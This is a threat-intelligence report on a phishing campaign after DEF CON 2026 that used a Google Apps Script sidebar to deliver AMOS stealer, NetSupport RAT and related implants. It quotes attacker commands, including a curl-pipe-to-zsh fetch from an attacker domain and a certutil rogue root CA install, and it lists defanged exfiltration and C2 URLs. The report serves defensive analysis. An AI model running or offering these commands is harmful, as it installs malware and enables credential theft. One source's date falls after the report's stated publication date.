# Post-DEF CON Phishing Campaign Abuses Google Apps Script Sidebar to Deliver AMOS Stealer and NetSupport RAT

> A threat actor impersonating a CoinDesk VP contacted a Huntress researcher via X (Twitter) DM after Black Hat/DEF CON 2026, sending a weaponized Google Doc whose Apps Script sidebar (DecryptPanel.html) staged a fake decryption-key/ClickFix lure delivering AMOS stealer on macOS. A follow-up DocSend-impersonation lure then delivered NetSupport RAT, a Ledger wallet implant, and a TLS-intercepting proxy to Windows victims.

- **Published:** 2026-08-19T00:00:00Z
- **Last reviewed:** 2026-08-19T00:00:00Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-2449
- **ID:** TL-2026-2449
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 30 (full data via the Threadlinqs MCP server — Purple tier)

## Description

On 2026-08-09, a Huntress security researcher was contacted on X (Twitter) by an account (@HartmansDoeke) impersonating the VP and Head of Marketing of CoinDesk, using a post-conference-planning pretext to build rapport following Black Hat/DEF CON 2026. The actor shared a Google Doc containing a custom Google Apps Script sidebar (DecryptPanel.html) that displayed the document as partially encrypted and prompted the victim to enter a 'decryption key' supplied by the actor, which was engineered to fail. The sidebar then offered two infection paths: a ClickFix-style terminal-command lure or a manual download button, for both macOS and Windows. The Apps Script code contained Russian-language comments and emojis, validated hard-coded keys, and reported victim/host information to the actor via Telegram.

On macOS, the ClickFix path executed `curl -fsSL https://apple-googleapi[.]com/i | zsh` (the endpoint also redirect-looped to localhost), while the manual path fetched a GitHub-hosted `GAPIUpdate.dmg` (ad-hoc signed, requiring a Gatekeeper bypass and sudo password) that installed the AMOS (Atomic macOS Stealer) infostealer. AMOS harvested browser credentials/cookies, cryptocurrency wallets, macOS Keychain data, and Telegram files; staged data locally at `/tmp/lksopo`; exfiltrated to `http://86.54.25[.]213/log`; and persisted via a LaunchDaemon (`/Library/LaunchDaemons/com.xdivcmp.plist`) that polled `http://192.253.248[.]181/api/v1/getscpt/<username>` for shell commands and SOCKS5 proxy activation.

On Windows, the ClickFix path ran an encrypted PowerShell downloader (BitsTransfer/Invoke-WebRequest fallback against `https://1foqo[.]lat/core4`) that pulled further encrypted stages from `2fksf[.]lat` and `3pqow[.]lat`, staging binaries disguised as `DockerDesktopSvc.exe`, `SteamClientHelperHost.exe`, and `TeraCopyMonMon.exe`. The manual path used a ClickOnce manifest (`GapiUpdate.application`) signed with a stolen Norwegian company certificate (BARNEHAGEN GUNHILDS MINNE AS) that displayed a fake 'Google Workspace Marketplace' portal while installing payloads in the background.

On 2026-08-10, after the initial lure was rejected, the same actor followed up with a second campaign masquerading as a Dropbox DocSend share (`docsend[.]online`), which used user-agent sniffing to redirect macOS victims to `apple.eu03hub[.]com` (delivering a `DocSendInstaller.zip` AMOS package) and Windows victims to `microsoft.eu02hub[.]com` (delivering `DocsendInstaller.exe`, an NSIS installer wrapping an Electron app, signed with a stolen Discord Inc. certificate, presenting a fake 5-screen Dropbox onboarding carousel). This installer profiled the host (hardware ID, hostname, username, OS build, CPU/GPU/BIOS, network adapters, memory, keyboard layout) to `https://docsend[.]web12api[.]com/api/launcher/start` and executed the JSON response as an in-memory JavaScript payload via the `Function()` constructor, with no payload written to disk. A related campaign variant used SignNow branding against the same `web12api[.]com` infrastructure (`signow[.]web12api[.]com/api/launcher/start`).

The recovered follow-on JavaScript captured a desktop screenshot, then downloaded password-protected archives from `https://eu03hub[.]com/get_file?file=X` into randomized working directories, launching each payload hidden and self-elevating via `Start-Process -Verb RunAs` after a 20-second delay. Three Windows payloads were delivered: (1) NetSupport Manager v14.10.0004, a legitimate remote-administration tool repurposed as a RAT, configured with no tray icon and all alerts disabled, communicating with `msedgewebview1[.]pro`/`msedgewebview2[.]pro` and C2 IP `87.120.104[.]88` (AS211443) over cleartext HTTP mislabeled as port 443, using a commonly-shared cracked license ID ('NSM1234') and installing a kernel-mode keyboard-filter driver (`nskbfltr.sys`); operator artifacts referenced path `C:\Users\Administrator\Desktop\2RMS\client32u.ini`. (2) A traffic-intercepting proxy disguised as a Lenovo driver (stolen, invalid Lenovo certificate) that process-hollowed `MsBuild.exe`, installed a self-signed rogue root CA (`O=Google Trust Services, CN=WR3`) into the Windows trust store via `certutil -addstore -f ROOT`, forged a `www.virustotal.com` certificate, injected a hosts-file entry redirecting `www.virustotal.com` to `127.0.0.1`, and added a 'LocalProxy' firewall rule to intercept and decrypt HTTPS traffic to VirusTotal specifically. (3) A Ledger wallet implant (same stolen Lenovo certificate, same MsBuild.exe hollowing technique) that detected `Ledger Live`/`Ledger Wallet` installations, wrote a 16-hex-character bot ID to `%APPDATA%\Ledger Live\app.crc32`, and polled `https://eu07connect[.]com/api/commands/<bot id>` roughly 18 times with no observed command response; its persistence (a Run-key entry named 'Ledger Wallet Installer') pointed at a non-functional bare MsBuild.exe.

After the malware lure was rejected, the actor pivoted to a fake $1M funding/investment pretext, likely intended to harvest credentials or PII directly. No CVE applies; this is a social-engineering delivery chain abusing a legitimate Google Workspace feature (Apps Script sidebars), not a software vulnerability. Attribution is unconfirmed: Russian-language code comments/emojis and Cyrillic characters in C2 traffic were observed, but no formal threat-actor or APT-group attribution has been made. A related, earlier campaign (reported via Haveibeensquatted/GBHackers) used similar social-engineering conference targeting to deliver a different toolset (NeedleStealer, a Rust-based stealer, and a Go-based RAT), suggesting this may be part of a broader wave of post-conference targeting of security researchers rather than an isolated incident.

## MITRE ATT&CK

- T1583.001 Domains
- T1566.003 Spearphishing via Service
- T1204.001 Malicious Link
- T1204.002 Malicious File
- T1059.001 PowerShell
- T1059.004 Unix Shell
- T1543.004 Launch Daemon
- T1553.002 Code Signing
- T1553.004 Install Root Certificate
- T1036.005 Match Legitimate Resource Name or Location
- T1055.012 Process Hollowing
- T1620 Reflective Code Loading
- T1555.001 Keychain
- T1555.003 Credentials from Web Browsers
- T1082 System Information Discovery
- T1113 Screen Capture
- T1071.001 Web Protocols
- T1219 Remote Access Tools

## Sources

- [Post-DEF CON Phishing Uses Google Doc Apps Script to Deliver Malware](https://www.huntress.com/blog/defcon-phishing-google-doc-malware)
- [Def Con Attendees Targeted by Persistent Phishing Campaign](https://www.infosecurity-magazine.com/news/def-con-attendees-persistent/)
- [Black Hat/DEF CON attendees targeted in malware scheme with Google Doc lure](https://www.scworld.com/news/black-hat-def-con-attendees-targeted-in-malware-scheme-with-google-doc-lure)
- [Be careful who you talk to at conferences: Security researchers claim they were targeted by cyber criminals after DEF CON event](https://www.itpro.com/security/be-careful-who-you-talk-to-at-conferences-security-researchers-claim-they-were-targeted-by-cyber-criminals-after-def-con-event)
- [Post-DEF CON Phishing Campaign Delivered AMOS And NetSupport Malware](https://informationsecuritybuzz.com/post-def-con-phishing-campaign-delivered/)
- [Fake Crypto Exec Used Booby-Trapped Google Doc to Target Security Researcher After DEF CON](https://www.itsecurityguru.org/2026/08/19/fake-crypto-exec-used-booby-trapped-google-doc-to-target-security-researcher-after-def-con/)
- [Fake CoinDesk Exec targets Def Con researcher with phishing scheme](https://www.paubox.com/blog/fake-coindesk-exec-targets-def-con-researcher-with-phishing-scheme)
- [Black Hat/DEF CON attendees targeted with malware-laced Google Docs](https://www.channelpronetwork.com/2026/09/08/black-hat-def-con-malware-google-docs/)
- [Fake Security Conference Lure Targets Researchers via Google Docs](https://www.technadu.com/fake-coindesk-exec-tried-to-hack-security-researchers-with-a-decryption-trick-in-google-docs/633694/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-2449